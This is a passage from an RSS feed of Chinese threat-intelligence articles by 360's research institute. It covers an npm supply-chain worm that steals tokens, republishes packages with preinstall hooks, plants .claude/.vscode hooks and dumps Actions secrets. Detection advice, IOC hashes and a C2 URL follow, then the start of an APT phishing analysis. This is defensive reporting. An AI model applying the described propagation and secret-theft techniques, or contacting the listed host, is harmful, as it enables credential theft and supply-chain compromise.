&#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在传播阶段，载荷会利用窃取到的 npm token 验证其是否具备 bypass_2fa 和包写入权限，并枚举该 token可发布的包。随后下载目标包最新 tarball，注入 setup.mjs 与 math_init.js，将 package.json 改写为preinstall: node setup.mjs，递增 patch 版本后重新打包并发布至 npm registry，从而使一个高权限 token能够污染维护者名下多个包，推动恶意载荷在 npm 命名空间内快速扩散。</span><o:page></o:page></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">同时，载荷还会利用 GitHub 凭据感染代码仓库。其会枚举可访问仓库及分支，跳过 dependabot/* 和copilot/* 分支，并提交 .claude 与 .vscode 相关钩子文件，使开发者在打开仓库或启动 Claude Code会话时再次执行加载器。相关提交伪装为 chore: update config，并可包含 Co-authored-by: claude</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，以降低异常配置变更的可见性。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在获取具备 workflow 权限的 GitHub token 后，载荷还会创建临时分支并注入 GitHub Actions workflow，将${{ toJSON(secrets) }} 写入 artifact 后取回，从而获取仓库或组织级 Actions secrets。回收的npm、GitHub 或云平台凭据会重新进入收集和传播流程，形成递归扩散。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">此外，样本还包含 token-monitor/dead-man&#39;s switch 机制。该组件会在 ~/.config/gh-token-monitor/中保存 token、handler 和启动时间，并通过 macOS LaunchAgent 或 Linux systemd user service持久化。其每 60 秒请求 api.github.com/user 检查 token 状态，若 token 被撤销并返回 HTTP4xx，则执行攻击者配置的 handler；组件约 24 小时后清理状态文件并退出。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">三、归属研判</span></span></strong></p></div></div></div></div></div></div></div><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">FBI 于 2026 年 7 月 2 日发布的 FLASH-20260702-01 警告</span><span lang="EN-US" data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">[1]</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">中，明确将网络犯罪组织 TeamPCP（又名 PCPcat、ShellForce、DeadCatx3）与 Shai-Hulud 活动关联，并在其恶意软件工具集中列出 Mini Shai-Hulud 和 Miasma等与 Shai-Hulud 相关的自复制、跨生态供应链蠕虫能力。并且该警告报告与本次攻击活动之间存在直接 IOC 重叠-29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7。同时，经过披露的样本比对，存在高度相似性。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.38333333333333336" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100025114" src="https://wechat2rss.xlab.app/img-proxy/?k=367817d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJxL2AdkdJticbEcJJfsKLiaXX8bPNiaahibSDpibQAf2dj3rtmoe8Q6NhIw5QSMkqr6Raf4Cu2jW8hwQB2rQydQFmqcQPbt9noJb7I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">图 5 本次攻击活动样本代码(左)与FBI警告报告中披露的样本代码(右)对比图</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">综合现有证据，本次 keyv/cacheable npm 供应链攻击可高置信归入 TeamPCP 相关 Shai-Hulud活动。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="90635"><div style="padding: 10px;box-sizing: border-box;"><p style="max-width:100% !important;width:100%;box-sizing:border-box;" data-width="100%" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.19469026548672566" data-type="jpeg" data-w="565" style="width:100%;display:block;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-width="100%" data-imgfileid="100025108" src="https://wechat2rss.xlab.app/img-proxy/?k=0cf6d7b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLLVWx96KVpy9p3ibBxRzEzcLD9dQAJhnsR1hRKXzgTN0YTr1lPia5jauSSqKpW4gWwTciaHAqhy8IiclTJZH4wQr1H269F7ZT1y2I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="padding: 20px;background-color: #f3f2f2;border-radius: 0px 0px 10px 10px;box-sizing: border-box;"><span leaf="" data-pm-slice="1 1 [&#34;heading&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;,&#34;level&#34;:1},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size:18.0pt;\nline-height:241%;\nmso-bidi-font-size:18.0pt;\nfont-family:等线;\nmso-ascii-font-family:等线;\nfont-variant:normal;\ntext-transform:none&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">防范排查建议</span></span><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;font-weight: normal;">针对本次 npm 供应链攻击，建议：</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;font-weight: normal;">1、从依赖侧排查是否安装过受影响版本，重点检查 package-lock.json、pnpm-lock.yaml、yarn.lock、npm cache 和 node_modules 中是否存在 keyv@6.0.0、cacheable、flat-cache、file-entry-cache 等已披露恶意版本。</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 15px;font-weight: normal;">2、对CI/CD环境和开发者终端，应重点搜索 setup.mjs、Math_Symbol.js、math_init.js、.claude/settings.json、.vscode/tasks.json、.github/workflows/codeql_analysis.yml、format-results.txt 等可疑文件。</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;font-weight: normal;">3、长期防护方面，建议在 CI 中默认使用 npm ci --ignore-scripts  或按需白名单允许生命周期脚本，避免新发布版本立即进入生产或构建环境；对 npm token、GitHub PAT  和云凭据实施最小权限、短周期轮换和分环境隔离；GitHub Actions 应固定第三方 action 的 commit SHA，限制workflow 权限，并定期审查 OIDC trusted publishing 配置。</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;font-weight: normal;">4、建议用户安装并开启360安全卫士，保持实时防护、木马查杀、下载防护、漏洞修复和可疑脚本行为拦截能力处于开启状态。对于开发者终端，360安全卫士可作为基础终端安全防护手段，配合企业 EDR、代码仓库审计和凭据轮换流程使用，提升对恶意脚本、异常进程和可疑文件落地行为的发现能力。</span></span></p></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">参考链接</span></span></strong></span></p></div></div></div><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">[1].</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;"><a href="https://www.ic3.gov/CSA/2026/260702.pdf" target="_blank">https://www.ic3.gov/CSA/2026/260702.pdf</a></span></span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div></div><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">f92ee93a0af971a3966bfa8efa9c2625</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">4140f7e17e6f97f83aa3472473e01add</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">7bcf8d9f6834c44450eac145a967d2f2</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">dbb9b09957113463bbeb420c2c4108b5</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">00ca0c04d247ef09f2b2acc452029345</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" 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leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">math_init.js</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">0xE1f2395ee43e45A1556EC6438a88c31B83493103</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;"><a href="https://npm-cache.com:443/router" target="_blank">https://npm-cache.com:443/router</a></span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div><o:page></o:page></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Thu, 06 Aug 2026 19:15:00 +0800</pubDate>
    </item>
    <item>
      <title>APT-C-24（响尾蛇）组织使用application文件钓鱼攻击活动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508749&amp;idx=1&amp;sn=c46a8458976b23295f3cfd283145e31b</link>
      <description>近期，360高级威胁研究院在APT威胁狩猎中发现该组织投递application文件，诱导用户点击后会从远程安装白加黑组件，样本会进行持久化操作，完成对受害主机的敏感信息窃取以及远程控制等行为。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-08-05 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ad255559&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEmmib7pWXrXL6ib0uj7ibhRGvd8ZuLqJwAfwxyh8o4o8VvrTUqTsIaaYMUUfp6vNZGIFrm3emHI3PmiaGricMTia3iaV9UW4UY27TXf6HCeN650FQU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>近期，360高级威胁研究院在APT威胁狩猎中发现该组织投递application文件，诱导用户点击后会从远程安装白加黑组件，样本会进行持久化操作，完成对受害主机的敏感信息窃取以及远程控制等行为。</p>
  <div data-mpa-md-root="t" style="padding-left: 8px;padding-right: 8px;" data-mpa-uuid="9f76c04fc912d228c1c299fb2f0899a0" data-mpa-apply-md="t" data-mpa-action-id="mo1aduennlu" data-pm-slice="0 0 []" data-nest-level="2"><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []" data-nest-level="3"><div data-tools="135编辑器" data-id="102539" data-nest-level="4"><div style="margin: 10px auto;text-align: left;" data-nest-level="5"><div style="background: #f2f2f2;" data-nest-level="6"><div style="box-sizing: border-box;padding:1em 1em;" data-nest-level="7"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231" data-nest-level="8"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;" data-nest-level="9"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: rgb(50, 40, 40);margin-left: 12px;border-bottom: 1px solid rgb(190, 25, 31);font-style: italic;box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;" data-nest-level="10"><span style="font-size: 18px;" data-nest-level="11"><strong data-nest-level="12"><span leaf="" data-nest-level="13">APT-C-24</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;" data-nest-level="10"><span style="font-size: 18px;" data-nest-level="11"><strong data-nest-level="12"><span leaf="" data-nest-level="13">响尾蛇</span></strong></span></p></div></div><div data-autoskip="1" data-nest-level="8"><p data-mpa-md-key="text" style="font-size: 15px;margin: 8px 0px 0px;color: rgb(51, 51, 51);letter-spacing: 1px;text-indent: 2em;text-align: justify;" data-mpa-md-action-id="mrviv7rg4oy" data-mpa-action-id="mrviwhaq1zr1" data-nest-level="9" data-pm-slice="0 0 []"><span leaf="" data-nest-level="10" mpa-font-style="mrviwhai1vj3" style="font-size: 17px;">APT-C-24 (响尾蛇)是一个活跃于南亚地区的APT组织，最早活跃可追溯到2012年，长期以来针对 巴基斯坦、孟加拉国、尼泊尔等周边国家的政府、国防、能源、科研机构等开展网络攻击活动。</span></p></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []" data-nest-level="4"><div data-tools="135编辑器" data-id="105196" data-nest-level="5"><div style="text-align: left;margin: 10px auto;" data-nest-level="6"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-nest-level="7"><div style="display: inline-block;" data-nest-level="8"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;" data-nest-level="9"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;" data-nest-level="10"><strong data-nest-level="11"><span style="font-size:18px;" data-nest-level="12"><span leaf="" data-nest-level="13">一、概述</span></span></strong></p></div></div></div></div></div><div data-role="paragraph" data-nest-level="5"><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-nest-level="6"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="7">近期，360高级威胁研究院在APT威胁狩猎中发现该组织投递application文件，诱导用户点击后会从远程安装白加黑组件，样本会进行持久化操作，完成对受害主机的敏感信息窃取以及远程控制等行为，以下为详细分析。</span></p></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []" data-nest-level="4"><div data-tools="135编辑器" data-id="105196" data-nest-level="5"><div style="text-align: left;margin: 10px auto;" data-nest-level="6"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-nest-level="7"><div style="display: inline-block;" data-nest-level="8"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;" data-nest-level="9"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;" data-nest-level="10"><strong data-nest-level="11"><span style="font-size:18px;" data-nest-level="12"><span leaf="" data-nest-level="13">二、攻击活动分析</span></span></strong></p></div></div></div></div></div></div></div><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalk1j7s" data-nest-level="3"><span mpa-font-style="mo1adudv1lb5" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">1.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击流程分析</span></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalknbo" data-nest-level="3"><span mpa-font-style="mo1adudv898" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">该组织通过钓鱼邮件分发PDF诱饵文档，当用户点击打开该文件后诱导用户下载application文件，application文件为ClickOnce应用程序部署配置文件，其主要功能则是远程安装白加黑组件。</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalk19d4" data-nest-level="3"><span mpa-font-style="mo1adudv19nd" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">在后续的样本关联中捕获到一起通过宏代码下载后续恶意组件的攻击活动，其核心载荷为Rust语言编写，该Rust载荷具备较强的反分析能力，整体功能与本次分析核心载荷保持一致。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3466135458167331" data-w="1004" style="width: 553.21px;height: 191.74px;background-color: transparent;" 